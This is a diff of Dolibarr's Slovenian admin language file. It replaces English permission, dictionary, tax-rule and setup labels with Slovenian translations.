      Not effective for projects (only rules on project permissions, visibility and assignment matters). +Permission262=Razširite dostop do vseh tretjih oseb IN njihovih objektov (ne le tretjih oseb, za katere je uporabnik prodajni zastopnik).
      Ne velja za zunanje uporabnike (vedno omejeni nanje za predloge, naročila, račune, pogodbe itd.).
      Ne velja za projekte (samo pravila o projektnih dovoljenjih, vidnosti in dodelitvah). +Permission263=Razširite dostop do vseh tretjih oseb BREZ njihovih predmetov (ne le tretjih oseb, za katere je uporabnik prodajni zastopnik).
      Ne velja za zunanje uporabnike (vedno omejeni nanje za predloge, naročila, račune, pogodbe itd.).
      Ne velja za projekte (samo pravila o projektnih dovoljenjih, vidnosti in dodelitvah). Permission271=Branje CA Permission272=Branje računov Permission273=Izdaja računov @@ -841,10 +851,10 @@ Permission283=Brisanje kontaktov Permission286=Izvoz kontaktov Permission291=Branje tarif Permission292=Nastavitev dovoljenj za tarife -Permission293=Modify customer's tariffs -Permission300=Read barcodes -Permission301=Create/modify barcodes -Permission302=Delete barcodes +Permission293=Spremenite tarife strank +Permission301=Ustvarite liste črtnih kod PDF +Permission304=Ustvari/spremeni črtne kode +Permission305=Izbrišite črtne kode Permission311=Branje storitev Permission312=Dodelitev storitve/naročnine pogodbi Permission331=Branje zaznamkov @@ -863,11 +873,11 @@ Permission401=Branje popustov Permission402=Kreiranje/spreminjanje popustov Permission403=Potrjevanje popustov Permission404=Brisanje popustov -Permission430=Use Debug Bar -Permission511=Read salaries and payments (yours and subordinates) -Permission512=Create/modify salaries and payments -Permission514=Delete salaries and payments -Permission517=Read salaries and payments everybody +Permission430=Uporabite vrstico za odpravljanje napak +Permission511=Preberite plače in plačila (vaše in podrejenih) +Permission512=Ustvarite/spremenite plače in plačila +Permission514=Izbrišite plače in plačila +Permission517=Vsi preberite plače in plačila Permission519=Izvoz plač Permission520=Branje posojil Permission522=Kreiranje/spreminjanje posojil @@ -876,247 +886,252 @@ Permission525=Dostop do kalkulatorja posojil Permission527=Izvoz posojil Permission531=Branje storitev Permission532=Kreiranje/spreminjanje storitev -Permission533=Read prices services +Permission533=Preberite cene storitev Permission534=Brisanje storitev Permission536=Pregled/upravljanje skritih storitev Permission538=Izvoz storitev -Permission561=Read payment orders by credit transfer -Permission562=Create/modify payment order by credit transfer -Permission563=Send/Transmit payment order by credit transfer -Permission564=Record Debits/Rejections of credit transfer -Permission601=Read stickers -Permission602=Create/modify stickers -Permission609=Delete stickers -Permission611=Read attributes of variants -Permission612=Create/Update attributes of variants -Permission613=Delete attributes of variants -Permission650=Read Bills of Materials -Permission651=Create/Update Bills of Materials -Permission652=Delete Bills of Materials -Permission660=Read Manufacturing Order (MO) -Permission661=Create/Update Manufacturing Order (MO) -Permission662=Delete Manufacturing Order (MO) +Permission561=Branje plačilnih nalogov s kreditnim nakazilom +Permission562=Ustvari/spremeni plačilni nalog s kreditnim nakazilom +Permission563=Pošljite/prenesite plačilni nalog s kreditnim nakazilom +Permission564=Zabeležite bremenitve/zavrnitve kreditnega prenosa +Permission601=Preberite nalepke +Permission602=Ustvari/spremeni nalepke +Permission609=Izbriši nalepke +Permission611=Preberite atribute različic +Permission612=Ustvari/posodobi atribute različic +Permission613=Izbrišite atribute različic +Permission650=Preberite sezname materialov +Permission651=Ustvari/posodobi kosovnice +Permission652=Izbriši sezname materialov +Permission660=Preberite proizvodni nalog (MO) +Permission661=Ustvari/posodobi proizvodni nalog (MO) +Permission662=Izbriši proizvodni nalog (MO) Permission701=Branje donacij Permission702=Kreiranje/spreminjanje donacij Permission703=Delete donacij -Permission771=Read expense reports (yours and your subordinates) -Permission772=Create/modify expense reports (for you and your subordinates) +Permission771=Preberite poročila o stroških (vaših in vaših podrejenih) +Permission772=Ustvarite/spremenite poročila o stroških (za vas in vaše podrejene) Permission773=Brisanje stroškovnih poročil Permission775=Odobritev stroškovnih poročil Permission776=Plačilo stroškovnih poročil -Permission777=Read all expense reports (even those of user not subordinates) -Permission778=Create/modify expense reports of everybody +Permission777=Preberite vsa poročila o stroških (tudi tistih uporabnikov in ne podrejenih) +Permission778=Ustvarite/spremenite poročila o stroških za vse Permission779=Izvoz stroškovnih poročil Permission1001=Branje zalog Permission1002=Kreiranje/spreminjanje skladišč Permission1003=Brisanje skladišč Permission1004=Branje gibanja zalog Permission1005=Kreiranje/spreminjanje gibanja zalog -Permission1011=View inventories -Permission1012=Create new inventory -Permission1014=Validate inventory -Permission1015=Allow to change PMP value for a product -Permission1016=Delete inventory -Permission1101=Read delivery receipts -Permission1102=Create/modify delivery receipts -Permission1104=Validate delivery receipts -Permission1109=Delete delivery receipts -Permission1121=Read supplier proposals -Permission1122=Create/modify supplier proposals -Permission1123=Validate supplier proposals -Permission1124=Send supplier proposals -Permission1125=Delete supplier proposals -Permission1126=Close supplier price requests +Permission1011=Ogled zalog +Permission1012=Ustvari nov inventar +Permission1014=Potrdite inventar +Permission1015=Omogoča spreminjanje vrednosti PMP za izdelek +Permission1016=Izbriši inventar +Permission1101=Preberite potrdila o dostavi +Permission1102=Ustvarite/spremenite potrdila o dostavi +Permission1104=Potrdite potrdila o dostavi +Permission1109=Izbrišite potrdila o dostavi +Permission1121=Preberite ponudbe dobaviteljev +Permission1122=Ustvarite/spremenite ponudbe dobaviteljev +Permission1123=Potrdite ponudbe dobaviteljev +Permission1124=Pošljite ponudbe dobaviteljev +Permission1125=Izbrišite predloge dobaviteljev +Permission1126=Zaprite zahteve za cene dobaviteljev Permission1181=Branje dobaviteljev -Permission1182=Read purchase orders -Permission1183=Create/modify purchase orders -Permission1184=Validate purchase orders -Permission1185=Approve purchase orders -Permission1186=Order purchase orders -Permission1187=Acknowledge receipt of purchase orders -Permission1188=Delete purchase orders -Permission1189=Check/Uncheck a purchase order reception -Permission1190=Approve (second approval) purchase orders -Permission1191=Export supplier orders and their attributes +Permission1182=Preberite naročilnice +Permission1183=Ustvarite/spremenite naročila +Permission1184=Potrdite naročila +Permission1185=Odobrite naročila +Permission1186=Naročite naročilnice +Permission1187=Potrdite prejem naročilnice +Permission1188=Brisanje naročilnic +Permission1189=Označite/odkljukajte sprejem naročilnice +Permission1190=Odobritev (druga odobritev) naročilnic +Permission1191=Izvoz naročil dobaviteljev in njihovih atributov Permission1201=pregled rezultatov izvoza Permission1202=Kreiranje/spreminjanje izvoza -Permission1231=Read vendor invoices -Permission1232=Create/modify vendor invoices -Permission1233=Validate vendor invoices -Permission1234=Delete vendor invoices -Permission1235=Send vendor invoices by email -Permission1236=Export vendor invoices, attributes and payments -Permission1237=Export purchase orders and their details +Permission1231=Read vendor invoices (and payments) +Permission1232=Ustvarite/spremenite prejete račune +Permission1233=Potrdite prejete račune +Permission1234=Izbrišite prejete račune +Permission1235=Pošljite prejete račune po e-pošti +Permission1236=Izvozite prejete račune in plačila +Permission1237=Izvoz naročilnic in njihovih podrobnosti Permission1251=Izvajanje masovnega izvoza zunanjih podatkov v bazo podatkov (nalaganje podatkov) Permission1321=Izvoz računov za kupce, atributov in plačil -Permission1322=Reopen a paid bill -Permission1421=Export sales orders and attributes -Permission1521=Read documents -Permission1522=Delete documents -Permission2401=Read actions (events or tasks) linked to his user account (if owner of event or just assigned to) -Permission2402=Create/modify actions (events or tasks) linked to his user account (if owner of event) -Permission2403=Delete actions (events or tasks) linked to his user account (if owner of event) +Permission1322=Ponovno odprite plačani račun +Permission1421=Izvozite prodajna naročila in atribute +Permission1521=Preberi dokumente +Permission1522=Izbriši dokumente +Permission2401=Preberi dejanja (dogodke ali opravila), povezana z njegovim uporabniškim računom (če je lastnik dogodka ali mu je dogodek dodeljen) +Permission2402=Ustvari/spremeni dejanja (dogodke ali opravila), povezana z njegovim uporabniškim računom (če je lastnik dogodka) +Permission2403=Izbriši dejanja (dogodke ali opravila), povezana z njegovim uporabniškim računom (če je lastnik dogodka) Permission2411=Branje aktivnosti (dogodki ali naloge) ostalih Permission2412=Kreiranje/spreminjanje aktivnosti (dogodki ali naloge) ostalih Permission2413=Delete aktivnosti (dogodki ali naloge) ostalih -Permission2414=Export actions/tasks of others +Permission2414=Izvoz dejanj/nalog drugih Permission2501=Branje dokumentov Permission2502=Pošiljanje ali brisanje dokumentov Permission2503=Pošiljanje ali brisanje dokumentov Permission2515=Nastavitve map dokumentov Permission2801=Uporaba FTP klienta samo za branje (samo brskanje in prenašanje) Permission2802=Uporaba FTP klienta za pisanje (brisanje ali nalaganje datotek) -Permission3200=Read archived events and fingerprints -Permission3301=Generate new modules -Permission4001=Read skill/job/position -Permission4002=Create/modify skill/job/position -Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu -Permission4031=Read personal information -Permission4032=Write personal information -Permission10001=Read website content -Permission10002=Create/modify website content (html and javascript content) -Permission10003=Create/modify website content (dynamic php code). Dangerous, must be reserved to restricted developers. -Permission10005=Delete website content -Permission20001=Read leave requests (your leave and those of your subordinates) -Permission20002=Create/modify your leave requests (your leave and those of your subordinates) +Permission3200=Branje arhiviranih dogodkov in prstnih odtisov +Permission3301=Ustvarite nove module +Permission4001=Preberite spretnost/delo/položaj +Permission4002=Ustvari/spremeni veščino/delo/položaj +Permission4003=Izbriši spretnost/delo/položaj +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Potrdite oceno +Permission4025=Izbriši oceno +Permission4028=Oglejte si primerjalni meni +Permission4031=Preberite osebne podatke +Permission4032=Napišite osebne podatke +Permission4033=Read all evaluations (even those of user not subordinates) +Permission10001=Preberite vsebino spletne strani +Permission10002=Ustvari/spremeni vsebino spletnega mesta (vsebina html in javascript) +Permission10003=Ustvari/spremeni vsebino spletne strani (dinamična php koda). Nevarno, mora biti rezervirano za omejene razvijalce. +Permission10005=Izbrišite vsebino spletne strani +Permission20001=Preberite prošnje za dopust (vaš dopust in dopust vaših podrejenih) +Permission20002=Ustvarite/spremenite svoje prošnje za dopust (vaš dopust in dopust vaših podrejenih) Permission20003=Brisanje zahtevkov za dopust -Permission20004=Read all leave requests (even those of user not subordinates) -Permission20005=Create/modify leave requests for everybody (even those of user not subordinates) -Permission20006=Administer leave requests (setup and update balance) -Permission20007=Approve leave requests +Permission20004=Preberite vse prošnje za dopust (tudi tiste uporabnikov, ki niso podrejeni) +Permission20005=Ustvari/spremeni prošnje za dopust za vse (tudi za uporabnike in ne za podrejene) +Permission20006=Upravljanje zahtev za dopust (nastavitev in posodobitev stanja) +Permission20007=Odobrite prošnje za dopust Permission23001=Preberi načrtovano delo Permission23002=Ustvari/posodobi načrtovano delo Permission23003=Izbriši načrtovano delo Permission23004=Izvedi načrtovano delo -Permission50101=Use Point of Sale (SimplePOS) -Permission50151=Use Point of Sale (TakePOS) -Permission50152=Edit sales lines -Permission50153=Edit ordered sales lines +Permission50101=Uporabite prodajno mesto (SimplePOS) +Permission50151=Uporabite prodajno mesto (TakePOS) +Permission50152=Uredite prodajne vrstice +Permission50153=Uredite naročene prodajne vrstice Permission50201=Branje prenosov Permission50202=Uvoz prenosov -Permission50330=Read objects of Zapier -Permission50331=Create/Update objects of Zapier -Permission50332=Delete objects of Zapier -Permission50401=Bind products and invoices with accounting accounts -Permission50411=Read operations in ledger -Permission50412=Write/Edit operations in ledger -Permission50414=Delete operations in ledger -Permission50415=Delete all operations by year and journal in ledger -Permission50418=Export operations of the ledger -Permission50420=Report and export reports (turnover, balance, journals, ledger) -Permission50430=Define fiscal periods. Validate transactions and close fiscal periods. -Permission50440=Manage chart of accounts, setup of accountancy -Permission51001=Read assets -Permission51002=Create/Update assets -Permission51003=Delete assets -Permission51005=Setup types of asset +Permission50330=Preberite predmete Zapierja +Permission50331=Ustvari/posodobi predmete Zapierja +Permission50332=Izbrišite predmete Zapierja +Permission50401=Povežite izdelke in račune z računovodskimi računi +Permission50411=Preberite operacije v knjigi +Permission50412=Pisanje/urejanje operacij v knjigi +Permission50414=Brisanje operacij v knjigi +Permission50415=Izbrišite vse operacije po letih in dnevnik v knjigi +Permission50418=Izvozne operacije glavne knjige +Permission50420=Poročila in izvozna poročila (promet, stanje, dnevniki, knjiga) +Permission50430=Določite fiskalna obdobja. Potrdite transakcije in zaprite fiskalna obdobja. +Permission50440=Vodenje kontnega načrta, postavitev računovodstva +Permission51001=Preberi sredstva +Permission51002=Ustvari/posodobi sredstva +Permission51003=Izbriši sredstva +Permission51005=Nastavite vrste sredstev Permission54001=Tiskaj Permission55001=Branje anket Permission55002=Kreiranje/spreminjanje anket Permission59001=Branje komercialnih marž Permission59002=Določitev komercialnih marž Permission59003=Branje vsake uporabniške marže -Permission63001=Read resources -Permission63002=Create/modify resources -Permission63003=Delete resources -Permission63004=Link resources to agenda events -Permission64001=Allow direct printing -Permission67000=Allow printing of receipts -Permission68001=Read intracomm report -Permission68002=Create/modify intracomm report -Permission68004=Delete intracomm report -Permission941601=Read receipts -Permission941602=Create and modify receipts -Permission941603=Validate receipts -Permission941604=Send receipts by email -Permission941605=Export receipts -Permission941606=Delete receipts -DictionaryCompanyType=Third-party types -DictionaryCompanyJuridicalType=Third-party legal entities -DictionaryProspectLevel=Prospect potential level for companies -DictionaryProspectContactLevel=Prospect potential level for contacts -DictionaryCanton=States/Provinces +Permission63001=Preberite vire +Permission63002=Ustvari/spremeni vire +Permission63003=Izbriši vire +Permission63004=Povežite vire z dogodki dnevnega reda +Permission64001=Dovoli neposredno tiskanje +Permission67000=Dovoli tiskanje računov +Permission68001=Preberite intracomm poročilo +Permission68002=Ustvari/spremeni intracomm poročilo +Permission68004=Izbriši intracomm poročilo +Permission941601=Preberite potrdila +Permission941602=Ustvarite in spremenite račune +Permission941603=Potrdite potrdila +Permission941604=Pošljite potrdila po e-pošti +Permission941605=Izvozna potrdila +Permission941606=Izbriši račune +DictionaryCompanyType=Vrste partnerjev +DictionaryCompanyJuridicalType=Pravne osebe partnerja +DictionaryProspectLevel=Nivo potenciala za podjetja +DictionaryProspectContactLevel=Oglejte si potencialno raven stikov +DictionaryCanton=Države/province DictionaryRegion=Regije DictionaryCountry=Države DictionaryCurrency=Valute -DictionaryCivility=Honorific titles -DictionaryActions=Types of agenda events -DictionarySocialContributions=Types of social or fiscal taxes +DictionaryCivility=Častni nazivi +DictionaryActions=Vrste dnevnih dogodkov v koledarju +DictionarySocialContributions=Vrste socialnih ali davčnih davkov DictionaryVAT=Stopnje DDV ali davkov -DictionaryRevenueStamp=Amount of tax stamps +DictionaryRevenueStamp=Količina davčnih znamk DictionaryPaymentConditions=Plačilni pogoji -DictionaryPaymentModes=Payment Modes +DictionaryPaymentModes=Načini plačila DictionaryTypeContact=Tipi kontaktov/naslovov -DictionaryTypeOfContainer=Website - Type of website pages/containers +DictionaryTypeOfContainer=Spletno mesto – vrsta strani/vsebnikov spletnega mesta DictionaryEcotaxe=Ekološka taksa (WEEE) DictionaryPaperFormat=Formati papirja -DictionaryFormatCards=Card formats -DictionaryFees=Expense report - Types of expense report lines +DictionaryFormatCards=Formati kartic +DictionaryFees=Poročilo o stroških – vrste vrstic poročila o stroških DictionarySendingMethods=Načini pošiljanja -DictionaryStaff=Number of Employees +DictionaryStaff=Število zaposlenih DictionaryAvailability=Zakasnitev dobave -DictionaryOrderMethods=Order methods +DictionaryOrderMethods=Metode naročila DictionarySource=Izvor ponudb/naročil -DictionaryAccountancyCategory=Personalized groups for reports +DictionaryAccountancyCategory=Prilagojene skupine za poročila DictionaryAccountancysystem=Modeli kontnih planov -DictionaryAccountancyJournal=Accounting journals -DictionaryEMailTemplates=Email Templates +DictionaryAccountancyJournal=Računovodski dnevniki +DictionaryEMailTemplates=E-poštne predloge DictionaryUnits=Enote -DictionaryMeasuringUnits=Measuring Units -DictionarySocialNetworks=Social Networks -DictionaryProspectStatus=Prospect status for companies -DictionaryProspectContactStatus=Prospect status for contacts -DictionaryHolidayTypes=Leave - Types of leave -DictionaryOpportunityStatus=Lead status for project/lead -DictionaryExpenseTaxCat=Expense report - Transportation categories -DictionaryExpenseTaxRange=Expense report - Range by transportation category -DictionaryTransportMode=Intracomm report - Transport mode -DictionaryBatchStatus=Product lot/serial Quality Control status -DictionaryAssetDisposalType=Type of disposal of assets -TypeOfUnit=Type of unit +DictionaryMeasuringUnits=Merske enote +DictionarySocialNetworks=Socialna omrežja +DictionaryProspectStatus=Status potenciala za podjetja +DictionaryProspectContactStatus=Status potencialne stranke za stike +DictionaryHolidayTypes=Dopust - Vrste dopusta +DictionaryOpportunityStatus=Stanje potencialne stranke za projekt/mogočo stranko +DictionaryExpenseTaxCat=Poročilo o stroških - kategorije prevozov +DictionaryExpenseTaxRange=Poročilo o stroških - obseg po kategoriji prevoza +DictionaryTransportMode=Intracomm poročilo - Način transporta +DictionaryBatchStatus=Stanje kontrole kakovosti serije izdelka/serije +DictionaryAssetDisposalType=Vrsta odtujitve sredstev +TypeOfUnit=Vrsta enote SetupSaved=Nastavitve shranjene -SetupNotSaved=Setup not saved -BackToModuleList=Back to Module list -BackToDictionaryList=Back to Dictionaries list -TypeOfRevenueStamp=Type of tax stamp -VATManagement=Sales Tax Management -VATIsUsedDesc=By default when creating prospects, invoices, orders etc. the Sales Tax rate follows the active standard rule:
      If the seller is not subject to Sales tax, then Sales tax defaults to 0. End of rule.
      If the (seller's country = buyer's country), then the Sales tax by default equals the Sales tax of the product in the seller's country. End of rule.
      If the seller and buyer are both in the European Community and goods are transport-related products (haulage, shipping, airline), the default VAT is 0. This rule is dependant on the seller's country - please consult with your accountant. The VAT should be paid by the buyer to the customs office in their country and not to the seller. End of rule.
      If the seller and buyer are both in the European Community and the buyer is not a company (with a registered intra-Community VAT number) then the VAT defaults to the VAT rate of the seller's country. End of rule.
      If the seller and buyer are both in the European Community and the buyer is a company (with a registered intra-Community VAT number), then the VAT is 0 by default. End of rule.
      In any other case the proposed default is Sales tax=0. End of rule. -VATIsNotUsedDesc=By default the proposed Sales tax is 0 which can be used for cases like associations, individuals or small companies. -VATIsUsedExampleFR=In France, it means companies or organizations having a real fiscal system (Simplified real or normal real). A system in which VAT is declared. -VATIsNotUsedExampleFR=In France, it means associations that are non Sales tax declared or companies, organizations or liberal professions that have chosen the micro enterprise fiscal system (Sales tax in franchise) and paid a franchise Sales tax without any Sales tax declaration. This choice will display the reference "Non applicable Sales tax - art-293B of CGI" on invoices. +SetupNotSaved=Nastavitev ni shranjena +OAuthServiceConfirmDeleteTitle=Izbriši vnos OAuth +OAuthServiceConfirmDeleteMessage=Ali ste prepričani, da želite izbrisati ta vnos OAuth? Izbrisani bodo tudi vsi obstoječi žetoni zanj. +ErrorInEntryDeletion=Napaka pri brisanju vnosa +EntryDeleted=Vnos izbrisan +BackToModuleList=Nazaj na seznam modulov +BackToDictionaryList=Nazaj na seznam slovarjev +TypeOfRevenueStamp=Vrsta davčne znamke +VATManagement=Upravljanje prometnega davka +VATIsUsedDesc=Stopnja prometnega davka pri ustvarjanju možnosti, računov, naročil itd. privzeto sledi aktivnemu standardnemu pravilu:
      Če prodajalec ni zavezan prometnemu davku, je privzeta vrednost prometnega davka 0. Konec pravila.
      Če je (država prodajalca = država kupca), potem je prometni davek privzeto enak prometnemu davku izdelka v državi prodajalca. Konec pravila.
      Če sta prodajalec in kupec oba v Evropski skupnosti in je blago proizvod, povezan s prevozom (prevoz, ladijski promet, letalski prevoznik), je privzeti DDV 0. To pravilo je odvisno od države prodajalca – posvetujte se s svojim računovodjo. DDV mora kupec plačati carinskemu uradu v svoji državi in ne prodajalcu. Konec pravila.
      Če sta prodajalec in kupec oba v Evropski skupnosti in kupec ni podjetje (z registrirano številko za DDV znotraj Skupnosti), je DDV privzeta stopnja DDV v državi prodajalca. Konec pravila.
      Če sta prodajalec in kupec oba v Evropski skupnosti in je kupec podjetje (z registrirano številko DDV znotraj Skupnosti), potem je DDV privzeto 0. Konec pravila.
      V vseh drugih primerih je predlagana privzeta vrednost prometni davek=0. Konec pravila. +VATIsNotUsedDesc=Privzeto je predlagani prometni davek 0, kar se lahko uporablja za primere, kot so združenja, posamezniki ali mala podjetja. +VATIsUsedExampleFR=V Franciji pomeni podjetja ali organizacije, ki imajo pravi davčni sistem (poenostavljeno real ali normal real). Sistem, v katerem se DDV prijavi. +VATIsNotUsedExampleFR=V Franciji pomeni združenja, ki niso prijavila prometnega davka, ali podjetja, organizacije ali svobodne poklice, ki so izbrali davčni sistem mikro podjetij (prometni davek v franšizi) in plačali franšizni prometni davek brez kakršne koli napovedi prometnega davka. Ta izbira bo na računih prikazala sklic »Prometni davek se ne uporablja – art-293B CGI«. ##### Local Taxes ##### -TypeOfSaleTaxes=Type of sales tax +TypeOfSaleTaxes=Vrsta prometnega davka LTRate=Stopnja LocalTax1IsNotUsed=Ne uporabi drugega davka -LocalTax1IsUsedDesc=Use a second type of tax (other than first one) -LocalTax1IsNotUsedDesc=Do not use other type of tax (other than first one) +LocalTax1IsUsedDesc=Uporabite drugo vrsto davka (razen prvega) +LocalTax1IsNotUsedDesc=Ne uporabljajte druge vrste davka (razen prvega) LocalTax1Management=Druga vrsta davka LocalTax1IsUsedExample= LocalTax1IsNotUsedExample= -LocalTax2IsNotUsed=Ne uporabi tretjega davka -LocalTax2IsUsedDesc=Use a third type of tax (other than first one) -LocalTax2IsNotUsedDesc=Do not use other type of tax (other than first one) -LocalTax2Management=Tretja vrsta davka +LocalTax2IsNotUsed=Ne uporabi alternativnega davka +LocalTax2IsUsedDesc=Uporabite tretjo vrsto davka (razen prve) +LocalTax2IsNotUsedDesc=Ne uporabljajte druge vrste davka (razen prvega) +LocalTax2Management=Alternativni davek LocalTax2IsUsedExample= LocalTax2IsNotUsedExample= LocalTax1ManagementES=RE Management -LocalTax1IsUsedDescES=The RE rate by default when creating prospects, invoices, orders etc. follow the active standard rule:
      If the buyer is not subjected to RE, RE by default=0. End of rule.
      If the buyer is subjected to RE then the RE by default. End of rule.
      +LocalTax1IsUsedDescES=Stopnja RE privzeto pri ustvarjanju možnosti, računov, naročil itd. upošteva aktivno standardno pravilo:
      Če kupec ni podvržen RE, je RE privzeto = 0. Konec pravila.
      Če je kupec podvržen RE, potem je RE privzeto. Konec pravila.
      LocalTax1IsNotUsedDescES=Privzeto predlagani RE je 0. Konec pravila. LocalTax1IsUsedExampleES=V Španiji so strokovnjaki, z nekaterimi posebnimi deli španskega IAE. LocalTax1IsNotUsedExampleES=V Španiji so strokovno in družb in ob upoštevanju nekaterih odsekih španske IAE. LocalTax2ManagementES=IRPF Management -LocalTax2IsUsedDescES=The IRPF rate by default when creating prospects, invoices, orders etc. follow the active standard rule:
      If the seller is not subjected to IRPF, then IRPF by default=0. End of rule.
      If the seller is subjected to IRPF then the IRPF by default. End of rule.
      +LocalTax2IsUsedDescES=Stopnja IRPF privzeto pri ustvarjanju možnosti, računov, naročil itd. upošteva aktivno standardno pravilo:
      Če prodajalec ni podvržen IRPF, potem je IRPF privzeto = 0. Konec pravila.
      Če je prodajalec predmet IRPF, je IRPF privzeto. Konec pravila.
      LocalTax2IsNotUsedDescES=Privzeto predlagani IRPF je 0. Konec pravila. LocalTax2IsUsedExampleES=V Španiji, samostojnimi in neodvisni strokovnjaki, ki opravljajo storitve in podjetja, ki so se odločili davčni sistem modulov. -LocalTax2IsNotUsedExampleES=In Spain they are businesses not subject to tax system of modules. -RevenueStampDesc=The "tax stamp" or "revenue stamp" is a fixed tax you per invoice (It does not depend on amount of invoice). It can also be a percent tax but using the second or third type of tax is better for percent taxes as tax stamps does not provide any reporting. Only few countries uses this type of tax. -UseRevenueStamp=Use a tax stamp -UseRevenueStampExample=The value of tax stamp is defined by default into the setup of dictionaries (%s - %s - %s) +LocalTax2IsNotUsedExampleES=V Španiji so podjetja, za katera ne velja davčni sistem modulov. +RevenueStampDesc="Tax stamp" ali "revenue stamp" je fiksen davek na račun (ni odvisen od zneska računa). Lahko je tudi odstotni davek, vendar je za odstotne davke boljša uporaba druge ali tretje vrste davka, saj davčne znamke ne zagotavljajo nobenega poročanja. Le malo držav uporablja to vrsto davka. +UseRevenueStamp=Uporabite davčno znamko +UseRevenueStampExample=Vrednost davčne znamke je privzeto določena v nastavitvah slovarjev (%s - %s - %s) CalcLocaltax=Poročila o lokalnih davkih CalcLocaltax1=Prodaja - Nabava CalcLocaltax1Desc=Poročila o lokalnih davkih so izračunana kot razlika med nabavnimi in prodajnimi davki @@ -1124,20 +1139,20 @@ CalcLocaltax2=Nabava CalcLocaltax2Desc=Poročila o lokalnih davkih so seštevek nabavnih davkov CalcLocaltax3=Prodaja CalcLocaltax3Desc=Poročila o lokalnih davkih so seštevek prodajnih davkov -NoLocalTaxXForThisCountry=According to the setup of taxes (See %s - %s - %s), your country does not need to use such type of tax +NoLocalTaxXForThisCountry=Glede na nastavitev davkov (glejte %s - %s - %s) vaši državi ni treba uporabljati takšne vrste davka LabelUsedByDefault=Privzet naziv, če za kodo ne obstaja prevod LabelOnDocuments=Naslov na dokumentu -LabelOrTranslationKey=Label or translation key -ValueOfConstantKey=Value of a configuration constant -ConstantIsOn=Option %s is on -NbOfDays=No. of days +LabelOrTranslationKey=Oznaka ali prevodni ključ +ValueOfConstantKey=Vrednost konfiguracijske konstante +ConstantIsOn=Možnost %s je vklopljena +NbOfDays=št. dni AtEndOfMonth=Na koncu meseca -CurrentNext=A given day in month +CurrentNext=Določen dan v mesecu Offset=Odmik AlwaysActive=Vedno aktiven Upgrade=Nadgradnja MenuUpgrade=Nadgradnja/razširitev -AddExtensionThemeModuleOrOther=Deploy/install external app/module +AddExtensionThemeModuleOrOther=Namestite/namestite zunanjo aplikacijo/modul WebServer=Spletni strežnik DocumentRootServer=Korenska mapa spletnega strežnika DataRootServer=Mapa s podatkovnimi datotekami @@ -1155,29 +1170,29 @@ DatabaseUser=Uporabnik baze podatkov DatabasePassword=Geslo za bazo podatkov Tables=Tabele TableName=Ime tabele -NbOfRecord=No. of records +NbOfRecord=Št. zapisov Host=Server DriverType=Tip gonilnika SummarySystem=Povzetek sistemskih informacij SummaryConst=Seznam vseh Dolibarr nastavitvenih parametrov -MenuCompanySetup=Company/Organization +MenuCompanySetup=Podjetje/organizacija DefaultMenuManager= Vmesnik za standardni meni DefaultMenuSmartphoneManager=Vmesnik za Smartphone meni Skin=Tema preobleke DefaultSkin=Privzeta tema preobleke MaxSizeList=Največja dolžina seznama -DefaultMaxSizeList=Default max length for lists -DefaultMaxSizeShortList=Default max length for short lists (i.e. in customer card) +DefaultMaxSizeList=Privzeta največja dolžina za sezname +DefaultMaxSizeShortList=Privzeta največja dolžina za kratke sezname (tj. na kartici stranke) MessageOfDay=Sporočilo dneva MessageLogin=Sporočilo na prijavni strani -LoginPage=Login page -BackgroundImageLogin=Background image +LoginPage=prijavna stran +BackgroundImageLogin=Slika ozadja PermanentLeftSearchForm=Stalno polje za iskanje na levem meniju -DefaultLanguage=Default language -EnableMultilangInterface=Enable multilanguage support for customer or vendor relationships -EnableShowLogo=Show the company logo in the menu -CompanyInfo=Company/Organization -CompanyIds=Company/Organization identities +DefaultLanguage=Privzeti jezik +EnableMultilangInterface=Omogočite večjezično podporo za odnose s kupci ali dobavitelji +EnableShowLogo=Pokažite logotip podjetja v meniju +CompanyInfo=Podjetje/organizacija +CompanyIds=Identitete podjetij/organizacij CompanyName=Ime podjetja CompanyAddress=Naslov CompanyZip=Poštna številka @@ -1185,260 +1200,268 @@ CompanyTown=Mesto CompanyCountry=Država CompanyCurrency=Osnovna valuta CompanyObject=Dejavnost podjetja -IDCountry=ID country +IDCountry=ID države Logo=Logotip -LogoDesc=Main logo of company. Will be used into generated documents (PDF, ...) -LogoSquarred=Logo (squarred) -LogoSquarredDesc=Must be a squarred icon (width = height). This logo will be used as the favorite icon or other need like for the top menu bar (if not disabled into display setup). +LogoDesc=Glavni logotip podjetja. Uporabljeno bo v ustvarjenih dokumentih (PDF, ...) +LogoSquarred=Logo (v kvadratu) +LogoSquarredDesc=Ikona mora biti v obliki kvadrata (širina = višina). Ta logotip bo uporabljen kot priljubljena ikona ali druga potreba, na primer za zgornjo menijsko vrstico (če ni onemogočen v nastavitvah zaslona). DoNotSuggestPaymentMode=Ne predlagaj NoActiveBankAccountDefined=Ni definiran aktivni bančni račun OwnerOfBankAccount=Lastnik bančnega računa %s BankModuleNotActive=Modul za bančne račune ni omogočen -ShowBugTrackLink=Show the link "%s" -ShowBugTrackLinkDesc=Keep empty to not display this link, use value 'github' for the link to the Dolibarr project or define directly an url 'https://...' +ShowBugTrackLink=Prikaži povezavo " %s " +ShowBugTrackLinkDesc=Pustite prazno, da ne prikažete te povezave, uporabite vrednost 'github' za povezavo do projekta Dolibarr ali neposredno definirajte url 'https://...' Alerts=Opozorila -DelaysOfToleranceBeforeWarning=Displaying a warning alert for... -DelaysOfToleranceDesc=Set the delay before an alert icon %s is shown onscreen for the late element. -Delays_MAIN_DELAY_ACTIONS_TODO=Planned events (agenda events) not completed -Delays_MAIN_DELAY_PROJECT_TO_CLOSE=Project not closed in time -Delays_MAIN_DELAY_TASKS_TODO=Planned task (project tasks) not completed -Delays_MAIN_DELAY_ORDERS_TO_PROCESS=Order not processed -Delays_MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS=Purchase order not processed -Delays_MAIN_DELAY_PROPALS_TO_CLOSE=Proposal not closed -Delays_MAIN_DELAY_PROPALS_TO_BILL=Proposal not billed -Delays_MAIN_DELAY_NOT_ACTIVATED_SERVICES=Service to activate -Delays_MAIN_DELAY_RUNNING_SERVICES=Expired service -Delays_MAIN_DELAY_SUPPLIER_BILLS_TO_PAY=Unpaid vendor invoice -Delays_MAIN_DELAY_CUSTOMER_BILLS_UNPAYED=Unpaid customer invoice -Delays_MAIN_DELAY_TRANSACTIONS_TO_CONCILIATE=Pending bank reconciliation 